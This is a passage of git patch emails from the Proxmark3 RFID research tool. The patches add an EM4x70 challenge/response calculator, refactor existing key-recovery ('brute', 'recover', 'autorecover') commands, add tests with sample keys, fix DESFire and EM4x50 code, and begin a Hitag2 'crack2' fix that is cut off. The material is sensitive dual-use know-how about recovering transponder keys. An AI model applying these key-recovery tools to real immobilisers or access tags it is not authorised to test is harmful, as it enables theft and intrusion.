+ "lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)\n" // --frn 982DBCC0 --grn 36C0E0 + ); + void *argtable[] = { + arg_param_begin, + arg_str1(NULL, "key", "", "Key 96-bit as 12 hex bytes"), + arg_str1(NULL, "rnd", "", "56-bit random value sent to tag for authentication"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + int key_len = 0; // must be 12 bytes hex data + int rnd_len = 0; // must be 7 bytes hex data + + // These macros hide early function return on error ... including free'ing ctx. + CLIGetHexWithReturn(ctx, 1, out_results->key.k, &key_len); + CLIGetHexWithReturn(ctx, 2, out_results->rn.rn, &rnd_len); + CLIParserFree(ctx); + + if (key_len != 12) { + PrintAndLogEx(FAILED, "Key length must be 12 bytes, got %d", key_len); + result = PM3_EINVARG; + } + + if (rnd_len != 7) { + PrintAndLogEx(FAILED, "Random number length must be 7 bytes, got %d", rnd_len); + result = PM3_EINVARG; + } + return result; +} + +static int CmdEM4x70Calc(const char *Cmd) { + em4x70_cmd_input_calculate_t opts = {0}; + em4x70_cmd_output_calculate_t data = {0}; + + // 0. Parse the command line + int result = CmdEM4x70Calc_ParseArgs(Cmd, &opts); + if (PM3_SUCCESS != result) { + return result; + } + + // There are no failure paths. All inputs are valid, and ID48LIB doesn't add any failure paths. + id48lib_generator(&opts.key, &opts.rn, &data.frn, &data.grn); + + char key_string[24 + 1] = {0}; + char rnd_string[14 + 1] = {0}; + char frn_string[ 8 + 1] = {0}; + char grn_string[ 6 + 1] = {0}; + if (true) { + snprintf( + key_string, 25, + "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + opts.key.k[ 0], opts.key.k[ 1], opts.key.k[ 2], opts.key.k[ 3], + opts.key.k[ 4], opts.key.k[ 5], opts.key.k[ 6], opts.key.k[ 7], + opts.key.k[ 8], opts.key.k[ 9], opts.key.k[10], opts.key.k[11] + ); + snprintf( + rnd_string, 15, + "%02X%02X%02X%02X%02X%02X%02X", + opts.rn.rn[0], opts.rn.rn[1], opts.rn.rn[2], opts.rn.rn[3], opts.rn.rn[4], opts.rn.rn[5], opts.rn.rn[6] + ); + snprintf( + frn_string, 9, + "%02X%02X%02X%02X", + data.frn.frn[0], data.frn.frn[1], data.frn.frn[2], data.frn.frn[3] + ); + snprintf( + grn_string, 7, + "%02X%02X%02X", + data.grn.grn[0], data.grn.grn[1], data.grn.grn[2] + ); + } + + PrintAndLogEx(SUCCESS, "KEY: " _GREEN_("%s") " RND: " _GREEN_("%s") " FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string); + return PM3_SUCCESS; +} + +// Must be declared to be used in the table, +// but cannot be defined yet because it uses the table. +static int CmdHelp(const char *Cmd); static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, @@ -1452,6 +1540,7 @@ static command_t CommandTable[] = { {"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"}, {"setpin", CmdEM4x70SetPIN, IfPm3EM4x70, "Write PIN"}, {"setkey", CmdEM4x70SetKey, IfPm3EM4x70, "Write key"}, + {"calc", CmdEM4x70Calc, AlwaysAvailable, "Calculate EM4x70 challenge and response"}, {"recover", CmdEM4x70Recover, AlwaysAvailable, "Recover remaining key from partial key"}, {"autorecover", CmdEM4x70AutoRecover, IfPm3EM4x70, "Recover entire key from writable tag"}, {NULL, NULL, NULL, NULL} @@ -1463,7 +1552,26 @@ static int CmdHelp(const char *Cmd) { return PM3_SUCCESS; } +// Only two functions need to be non-static: +// * CmdLFEM4X70() +// * detect_4x70_block() int CmdLFEM4X70(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } + +// used by `lf search` and `search`, this is a quick test for EM4x70 tag +// In alignment with other tags implementations, this also dumps basic information +// about the tag, if one is found. +// Use helper function `get_em4x70_info()` if wanting to limit / avoid output. +bool detect_4x70_block(void) { + em4x70_tag_info_t info; + em4x70_cmd_input_info_t opts = { 0 }; + + int result = get_em4x70_info(&opts, &info); + + if (result == PM3_ETIMEOUT) { // consider removing this output? + PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + } + return result == PM3_SUCCESS; +} From 2757881945e5bf4cce9e3614596701b1a12b0e0d Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 20:22:30 -0700 Subject: [PATCH 061/157] functions should be static where possible --- client/src/cmdlfem4x70.c | 17 +++++++++-------- client/src/cmdlfem4x70.h | 8 -------- 2 files changed, 9 insertions(+), 16 deletions(-) diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index b423640f4..3f6bea605 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -440,7 +440,7 @@ static int verify_auth_em4x70(const em4x70_cmd_input_verify_auth_t *opts) { } -int CmdEM4x70Info(const char *Cmd) { +static int CmdEM4x70Info(const char *Cmd) { // invoke reading of a EM4x70 tag which has to be on the antenna because // decoding is done by the device (not on client side) @@ -480,7 +480,7 @@ int CmdEM4x70Info(const char *Cmd) { return result; } -int CmdEM4x70Write(const char *Cmd) { +static int CmdEM4x70Write(const char *Cmd) { // write one block/word (16 bits) to the tag at given block address (0-15) CLIParserContext *ctx; @@ -532,7 +532,7 @@ int CmdEM4x70Write(const char *Cmd) { return result; } -int CmdEM4x70Brute(const char *Cmd) { +static int CmdEM4x70Brute(const char *Cmd) { // From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege. // Partial Key-Update Attack (optimized version) @@ -618,7 +618,7 @@ int CmdEM4x70Brute(const char *Cmd) { return result; } -int CmdEM4x70Unlock(const char *Cmd) { +static int CmdEM4x70Unlock(const char *Cmd) { // send pin code to device, unlocking it for writing CLIParserContext *ctx; @@ -666,7 +666,7 @@ int CmdEM4x70Unlock(const char *Cmd) { return result; } -int CmdEM4x70Auth(const char *Cmd) { +static int CmdEM4x70Auth(const char *Cmd) { // Authenticate transponder // Send 56-bit random number + pre-computed f(rnd, k) to transponder. @@ -726,7 +726,7 @@ int CmdEM4x70Auth(const char *Cmd) { return result; } -int CmdEM4x70SetPIN(const char *Cmd) { +static int CmdEM4x70SetPIN(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf em 4x70 setpin", "Write new PIN\n", @@ -771,7 +771,7 @@ int CmdEM4x70SetPIN(const char *Cmd) { return result; } -int CmdEM4x70SetKey(const char *Cmd) { +static int CmdEM4x70SetKey(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf em 4x70 setkey", "Write new 96-bit key to tag\n", @@ -969,7 +969,7 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_ return result; } -int CmdEM4x70Recover(const char *Cmd) { +static int CmdEM4x70Recover(const char *Cmd) { // From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege. // Partial Key-Update Attack -- final 48 bits (after optimized version gets k95..k48) em4x70_recovery_data_t recover_ctx = {0}; @@ -1552,6 +1552,7 @@ static int CmdHelp(const char *Cmd) { return PM3_SUCCESS; } +/////////////////////////////////////////////////////////////////////////////// // Only two functions need to be non-static: // * CmdLFEM4X70() // * detect_4x70_block() diff --git a/client/src/cmdlfem4x70.h b/client/src/cmdlfem4x70.h index d18148720..7b5afdae8 100644 --- a/client/src/cmdlfem4x70.h +++ b/client/src/cmdlfem4x70.h @@ -24,14 +24,6 @@ #define TIMEOUT 2000 int CmdLFEM4X70(const char *Cmd); -int CmdEM4x70Info(const char *Cmd); -int CmdEM4x70Write(const char *Cmd); -int CmdEM4x70Brute(const char *Cmd); -int CmdEM4x70Unlock(const char *Cmd); -int CmdEM4x70Auth(const char *Cmd); -int CmdEM4x70SetPIN(const char *Cmd); -int CmdEM4x70SetKey(const char *Cmd); -int CmdEM4x70Recover(const char *Cmd); // for `lf search`: bool detect_4x70_block(void); From f58992922ddaf12e03cda04345cdb3c4195e8044 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 20:35:27 -0700 Subject: [PATCH 062/157] limit freen color to calculated values --- client/src/cmdlfem4x70.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index 3f6bea605..23a730b29 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -1522,8 +1522,7 @@ static int CmdEM4x70Calc(const char *Cmd) { data.grn.grn[0], data.grn.grn[1], data.grn.grn[2] ); } - - PrintAndLogEx(SUCCESS, "KEY: " _GREEN_("%s") " RND: " _GREEN_("%s") " FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string); + PrintAndLogEx(SUCCESS, "KEY: %s RND: %s FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string); return PM3_SUCCESS; } From 20711e70378fa421a90c7757a88a3879310dd980 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 21:06:35 -0700 Subject: [PATCH 063/157] Add em4x70 tests --- tools/pm3_tests.sh | 42 +++++++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 2af52987d..5c7ee8d75 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -414,26 +414,30 @@ while true; do if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi echo -e "\n${C_BLUE}Testing LF:${C_NC}" - if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag test'" "Tests \( ok"; then break; fi - if ! CheckExecute "lf cotag demod test" "$CLIENTBIN -c 'data load -f traces/lf_cotag_220_8331.pm3; data norm; data cthreshold -u 50 -d -20; data envelope; data raw --ar -c 272; lf cotag demod'" \ + if ! CheckExecute "lf hitag2 test" "$CLIENTBIN -c 'lf hitag test'" "Tests \( ok"; then break; fi + if ! CheckExecute "lf cotag demod test" "$CLIENTBIN -c 'data load -f traces/lf_cotag_220_8331.pm3; data norm; data cthreshold -u 50 -d -20; data envelope; data raw --ar -c 272; lf cotag demod'" \ "COTAG Found: FC 220, CN: 8331 Raw: FFB841170363FFFE00001E7F00000000"; then break; fi - if ! CheckExecute "lf AWID test" "$CLIENTBIN -c 'data load -f traces/lf_AWID-15-259.pm3;lf search -1'" "AWID ID found"; then break; fi - if ! CheckExecute "lf EM410x test" "$CLIENTBIN -c 'data load -f traces/lf_EM4102-1.pm3;lf search -1'" "EM410x ID found"; then break; fi - if ! CheckExecute "lf EM4x05 test" "$CLIENTBIN -c 'data load -f traces/lf_EM4x05.pm3;lf search -1'" "FDX-B ID found"; then break; fi - if ! CheckExecute "lf FDX-A FECAVA test" "$CLIENTBIN -c 'data load -f traces/lf_EM4305_fdxa_destron.pm3;lf search -1'" "FDX-A FECAVA Destron ID found"; then break; fi - if ! CheckExecute "lf FDX-B test" "$CLIENTBIN -c 'data load -f traces/lf_HomeAgain1600.pm3;lf search -1'" "FDX-B ID found"; then break; fi - if ! CheckExecute "lf FDX/BioThermo test" "$CLIENTBIN -c 'data load -f traces/lf_FDXB_Bio-Thermo.pm3; lf fdxb demod'" "95.2 F / 35.1 C"; then break; fi - if ! CheckExecute "lf GPROXII test" "$CLIENTBIN -c 'data load -f traces/lf_GProx_36_30_14489.pm3; lf search -1'" "Guardall G-Prox II ID found"; then break; fi - if ! CheckExecute "lf HID Prox test" "$CLIENTBIN -c 'data load -f traces/lf_HID-proxCardII-05512-11432784-1.pm3;lf search -1'" "HID Prox ID found"; then break; fi - if ! CheckExecute "lf IDTECK test" "$CLIENTBIN -c 'data load -f traces/lf_IDTECK_4944544BAC40E069.pm3; lf search -1'" "Idteck ID found"; then break; fi - if ! CheckExecute "lf INDALA test" "$CLIENTBIN -c 'data load -f traces/lf_Indala-504278295.pm3;lf search -1'" "Indala ID found"; then break; fi - if ! CheckExecute "lf KERI test" "$CLIENTBIN -c 'data load -f traces/lf_Keri.pm3;lf search -1'" "Pyramid ID found"; then break; fi - if ! CheckExecute "lf NEXWATCH test" "$CLIENTBIN -c 'data load -f traces/lf_NEXWATCH_Quadrakey-521512301.pm3;lf search -1 '" "NexWatch ID found"; then break; fi - if ! CheckExecute "lf SECURAKEY test" "$CLIENTBIN -c 'data load -f traces/lf_NEXWATCH_Securakey-64169.pm3;lf search -1 '" "Securakey ID found"; then break; fi - if ! CheckExecute "lf PAC test" "$CLIENTBIN -c 'data load -f traces/lf_PAC-8E4C058E.pm3;lf search -1'" "PAC/Stanley ID found"; then break; fi - if ! CheckExecute "lf PARADOX test" "$CLIENTBIN -c 'data load -f traces/lf_Paradox-96_40426-APJN08.pm3;lf search -1'" "Paradox ID found"; then break; fi - if ! CheckExecute "lf VIKING test" "$CLIENTBIN -c 'data load -f traces/lf_Transit999-best.pm3;lf search -1'" "Viking ID found"; then break; fi - if ! CheckExecute "lf VISA2000 test" "$CLIENTBIN -c 'data load -f traces/lf_VISA2000.pm3;lf search -1'" "Visa2000 ID found"; then break; fi + if ! CheckExecute "lf AWID test" "$CLIENTBIN -c 'data load -f traces/lf_AWID-15-259.pm3;lf search -1'" "AWID ID found"; then break; fi + if ! CheckExecute "lf EM410x test" "$CLIENTBIN -c 'data load -f traces/lf_EM4102-1.pm3;lf search -1'" "EM410x ID found"; then break; fi + if ! CheckExecute "lf EM4x05 test" "$CLIENTBIN -c 'data load -f traces/lf_EM4x05.pm3;lf search -1'" "FDX-B ID found"; then break; fi + if ! CheckExecute "lf EM4x70 calc test" "$CLIENTBIN -c 'lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC'" "FRN: 4866BB70 GRN: 9BD180"; then break; fi + if ! CheckExecute "lf EM4x70 recover test 1/3" "$CLIENTBIN -c 'lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0'" "022a028c02be000102030405"; then break; fi + if ! CheckExecute "lf EM4x70 recover test 2/3" "$CLIENTBIN -c 'lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0'" "022a028c02be366866191b60"; then break; fi + if ! CheckExecute "lf EM4x70 recover test 3/3" "$CLIENTBIN -c 'lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0'" "022a028c02bef1e352c2718d"; then break; fi + if ! CheckExecute "lf FDX-A FECAVA test" "$CLIENTBIN -c 'data load -f traces/lf_EM4305_fdxa_destron.pm3;lf search -1'" "FDX-A FECAVA Destron ID found"; then break; fi + if ! CheckExecute "lf FDX-B test" "$CLIENTBIN -c 'data load -f traces/lf_HomeAgain1600.pm3;lf search -1'" "FDX-B ID found"; then break; fi + if ! CheckExecute "lf FDX/BioThermo test" "$CLIENTBIN -c 'data load -f traces/lf_FDXB_Bio-Thermo.pm3; lf fdxb demod'" "95.2 F / 35.1 C"; then break; fi + if ! CheckExecute "lf GPROXII test" "$CLIENTBIN -c 'data load -f traces/lf_GProx_36_30_14489.pm3; lf search -1'" "Guardall G-Prox II ID found"; then break; fi + if ! CheckExecute "lf HID Prox test" "$CLIENTBIN -c 'data load -f traces/lf_HID-proxCardII-05512-11432784-1.pm3;lf search -1'" "HID Prox ID found"; then break; fi + if ! CheckExecute "lf IDTECK test" "$CLIENTBIN -c 'data load -f traces/lf_IDTECK_4944544BAC40E069.pm3; lf search -1'" "Idteck ID found"; then break; fi + if ! CheckExecute "lf INDALA test" "$CLIENTBIN -c 'data load -f traces/lf_Indala-504278295.pm3;lf search -1'" "Indala ID found"; then break; fi + if ! CheckExecute "lf KERI test" "$CLIENTBIN -c 'data load -f traces/lf_Keri.pm3;lf search -1'" "Pyramid ID found"; then break; fi + if ! CheckExecute "lf NEXWATCH test" "$CLIENTBIN -c 'data load -f traces/lf_NEXWATCH_Quadrakey-521512301.pm3;lf search -1 '" "NexWatch ID found"; then break; fi + if ! CheckExecute "lf SECURAKEY test" "$CLIENTBIN -c 'data load -f traces/lf_NEXWATCH_Securakey-64169.pm3;lf search -1 '" "Securakey ID found"; then break; fi + if ! CheckExecute "lf PAC test" "$CLIENTBIN -c 'data load -f traces/lf_PAC-8E4C058E.pm3;lf search -1'" "PAC/Stanley ID found"; then break; fi + if ! CheckExecute "lf PARADOX test" "$CLIENTBIN -c 'data load -f traces/lf_Paradox-96_40426-APJN08.pm3;lf search -1'" "Paradox ID found"; then break; fi + if ! CheckExecute "lf VIKING test" "$CLIENTBIN -c 'data load -f traces/lf_Transit999-best.pm3;lf search -1'" "Viking ID found"; then break; fi + if ! CheckExecute "lf VISA2000 test" "$CLIENTBIN -c 'data load -f traces/lf_VISA2000.pm3;lf search -1'" "Visa2000 ID found"; then break; fi if ! CheckExecute slow "lf T55 awid 26 test" "$CLIENTBIN -c 'data load -f traces/lf_ATA5577_awid_26.pm3; lf search -1'" "AWID ID found"; then break; fi if ! CheckExecute slow "lf T55 awid 26 test2" "$CLIENTBIN -c 'data load -f traces/lf_ATA5577_awid_26.pm3; lf awid demod'" \ From f9dbe3fb6e17657b3d69da5145a2e9f4f3661172 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 21:34:43 -0700 Subject: [PATCH 064/157] Update CHANGELOG.md Signed-off-by: Henry Gabryjelski --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 33fdef1f9..094e74a5d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd` - Fixed `hf 15 dump` memory leaks (@jlitewski) - Changed `hf search` - topaz is detect before ISO14443a and commented out WIP ICT code path (@iceman1001) - Fixed `hf search` - where felica reader now doesnt timeout and give wrong response (@iceman1001) From 498af46fbfadfa4881879adf1560d5498698af05 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 15 May 2024 09:36:31 +0200 Subject: [PATCH 065/157] fix #2384 the use of free() is completely wrong as we use bigbuff allocations. Converted the old style to new and removed the dynamic allocation. --- armsrc/desfire_crypto.c | 111 ++++++++++++++++++++++++---------------- 1 file changed, 67 insertions(+), 44 deletions(-) diff --git a/armsrc/desfire_crypto.c b/armsrc/desfire_crypto.c index a99a9a547..7a30d4ff3 100644 --- a/armsrc/desfire_crypto.c +++ b/armsrc/desfire_crypto.c @@ -543,30 +543,35 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) { void *res = data; - void *edata = NULL; uint8_t first_cmac_byte = 0x00; desfirekey_t key = DESFIRE(tag)->session_key; - if (!key) + if (!key) { return data; + } // Return directly if we just have a status code. - if (1 == *nbytes) + if (1 == *nbytes) { return res; + } switch (communication_settings & MDCM_MASK) { - case MDCM_PLAIN: + case MDCM_PLAIN: { - if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) + if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) { break; - + } + } /* pass through */ - case MDCM_MACED: + case MDCM_MACED: { switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: - if (communication_settings & MAC_VERIFY) { + case AS_LEGACY: { + + if ((communication_settings & MAC_VERIFY) == MAC_VERIFY) { + *nbytes -= key_macing_length(key); + if (*nbytes == 0) { *nbytes = -1; res = NULL; @@ -577,18 +582,17 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes } size_t edl = enciphered_data_length(tag, *nbytes - 1, communication_settings); - edata = BigBuf_malloc(edl); - + uint8_t edata[edl]; + memset(edata, 0, sizeof(edata)); memcpy(edata, data, *nbytes - 1); - memset((uint8_t *)edata + *nbytes - 1, 0, edl - *nbytes + 1); mifare_cypher_blocks_chained(tag, NULL, NULL, edata, edl, MCD_SEND, MCO_ENCYPHER); - if (0 != memcmp((uint8_t *)data + *nbytes - 1, (uint8_t *)edata + edl - 8, 4)) { + if (0 != memcmp((uint8_t *)data + *nbytes - 1, edata + edl - 8, 4)) { #ifdef WITH_DEBUG Dbprintf("MACing not verified"); hexdump((uint8_t *)data + *nbytes - 1, key_macing_length(key), "Expect ", 0); - hexdump((uint8_t *)edata + edl - 8, key_macing_length(key), "Actual ", 0); + hexdump(edata + edl - 8, key_macing_length(key), "Actual ", 0); #endif DESFIRE(tag)->last_pcd_error = CRYPTO_ERROR; *nbytes = -1; @@ -596,10 +600,16 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes } } break; - case AS_NEW: - if (!(communication_settings & CMAC_COMMAND)) + } + case AS_NEW: { + + if ((communication_settings & CMAC_COMMAND) != CMAC_COMMAND) { break; - if (communication_settings & CMAC_VERIFY) { + } + + int n = 0; + + if ((communication_settings & CMAC_VERIFY) == CMAC_VERIFY) { if (*nbytes < 9) { *nbytes = -1; res = NULL; @@ -607,13 +617,16 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes } first_cmac_byte = ((uint8_t *)data)[*nbytes - 9]; ((uint8_t *)data)[*nbytes - 9] = ((uint8_t *)data)[*nbytes - 1]; + + n = 8; } - int n = (communication_settings & CMAC_VERIFY) ? 8 : 0; cmac(key, DESFIRE(tag)->ivect, ((uint8_t *)data), *nbytes - n, DESFIRE(tag)->cmac); - if (communication_settings & CMAC_VERIFY) { + if ((communication_settings & CMAC_VERIFY) == CMAC_VERIFY) { + ((uint8_t *)data)[*nbytes - 9] = first_cmac_byte; + if (0 != memcmp(DESFIRE(tag)->cmac, (uint8_t *)data + *nbytes - 9, 8)) { #ifdef WITH_DEBUG Dbprintf("CMAC NOT verified :-("); @@ -628,12 +641,11 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes } } break; + } } - - free(edata); - break; - case MDCM_ENCIPHERED: + } + case MDCM_ENCIPHERED: { (*nbytes)--; bool verified = false; int crc_pos = 0x00; @@ -670,48 +682,50 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes * verified, and accumulating 0's in it should not change it. */ switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { crc_pos = *nbytes - 8 - 1; // The CRC can be over two blocks if (crc_pos < 0) { - /* Single block */ - crc_pos = 0; + crc_pos = 0; // Single block } break; - case AS_NEW: + } + case AS_NEW: { /* Move status between payload and CRC */ res = DESFIRE(tag)->crypto_buffer; memcpy(res, data, *nbytes); crc_pos = (*nbytes) - 16 - 3; if (crc_pos < 0) { - /* Single block */ - crc_pos = 0; + crc_pos = 0; // Single block } + memcpy((uint8_t *)res + crc_pos + 1, (uint8_t *)res + crc_pos, *nbytes - crc_pos); ((uint8_t *)res)[crc_pos] = 0x00; crc_pos++; *nbytes += 1; break; + } } do { uint16_t crc_16 = 0x00; uint32_t crc = 0x00; + switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { AddCrc14A((uint8_t *)res, end_crc_pos); end_crc_pos = crc_pos + 2; - // - - crc = crc_16; break; - case AS_NEW: + } + case AS_NEW: { end_crc_pos = crc_pos + 4; crc32_ex(res, end_crc_pos, (uint8_t *)&crc); break; + } } - if (!crc) { + + if (crc == 0) { verified = true; for (int n = end_crc_pos; n < *nbytes - 1; n++) { uint8_t byte = ((uint8_t *)res)[n]; @@ -719,31 +733,40 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes verified = false; } } + if (verified) { + *nbytes = crc_pos; + switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { ((uint8_t *)data)[(*nbytes)++] = 0x00; break; - case AS_NEW: + } + case AS_NEW: { /* The status byte was already before the CRC */ break; + } } + } else { switch (DESFIRE(tag)->authentication_scheme) { - case AS_LEGACY: + case AS_LEGACY: { break; - case AS_NEW: + } + case AS_NEW: { x = ((uint8_t *)res)[crc_pos - 1]; ((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos]; ((uint8_t *)res)[crc_pos] = x; break; + } } crc_pos++; } - } while (!verified && (end_crc_pos < *nbytes)); - if (!verified) { + } while (verified == false && (end_crc_pos < *nbytes)); + + if (verified == false) { #ifdef WITH_DEBUG /* FIXME In some configurations, the file is transmitted PLAIN */ Dbprintf("CRC not verified in decyphered stream"); @@ -752,14 +775,14 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes *nbytes = -1; res = NULL; } - break; - default: + } + default: { Dbprintf("Unknown communication settings"); *nbytes = -1; res = NULL; break; - + } } return res; } From e5d5510b614a8a5c0d2ceddccf2b5374ba5ce45f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 15 May 2024 09:37:44 +0200 Subject: [PATCH 066/157] text --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 094e74a5d..a88f1896a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) - Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd` - Fixed `hf 15 dump` memory leaks (@jlitewski) - Changed `hf search` - topaz is detect before ISO14443a and commented out WIP ICT code path (@iceman1001) From 12f9ac5275be09837cc22e90461fa0b011d7985b Mon Sep 17 00:00:00 2001 From: mifa-om Date: Wed, 15 May 2024 11:34:44 +0200 Subject: [PATCH 067/157] fixed em4x50_sim_read_bit --- armsrc/em4x50.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/armsrc/em4x50.c b/armsrc/em4x50.c index ff68b724b..9d4d2648d 100644 --- a/armsrc/em4x50.c +++ b/armsrc/em4x50.c @@ -1255,7 +1255,11 @@ static int em4x50_sim_read_bit(void) { int cycles = 0; int timeout = EM4X50_T_SIMULATION_TIMEOUT_READ; - while (cycles < EM4X50_T_TAG_FULL_PERIOD) { + // wait 16 cycles to make sure there is no field when reading a "0" bit + uint32_t waitval = GetTicks(); + while(GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS); + + while (cycles < EM4X50_T_TAG_THREE_QUARTER_PERIOD) { // wait until reader field disappears while ((timeout--) && !(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)); From d9ec99f9033eeadc9f862e4a27fd947df092ecac Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 16 May 2024 22:49:24 +0200 Subject: [PATCH 068/157] found the bug in a call to hex2binarray() fct which overwrote first 16 bytes of keystream. Fixed loops. Crack2 now generates same data as RFIDLer impl. --- CHANGELOG.md | 1 + armsrc/hitag2.c | 16 +-- armsrc/hitag2_crack.c | 246 ++++++++-------------------------------- client/src/cmdlfhitag.c | 25 ++-- 4 files changed, 73 insertions(+), 215 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a88f1896a..3ca56628b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `lf hitag crack2` - now works. (@iceman1001) - Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) - Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd` - Fixed `hf 15 dump` memory leaks (@jlitewski) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index e9e8ef6c6..28982043d 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -120,7 +120,7 @@ static void hitag2_init(void) { #define HITAG_FRAME_LEN 20 #define HITAG_FRAME_BIT_COUNT (8 * HITAG_FRAME_LEN) #define HITAG_T_STOP 36 /* T_EOF should be > 36 */ -#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ +#define HITAG_T_LOW 6 /* T_LOW should be 4..10 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ #define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ @@ -322,8 +322,6 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // reader/writer // returns how long it took static uint32_t hitag_reader_send_bit(int bit) { - uint32_t wait = 0; - // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a 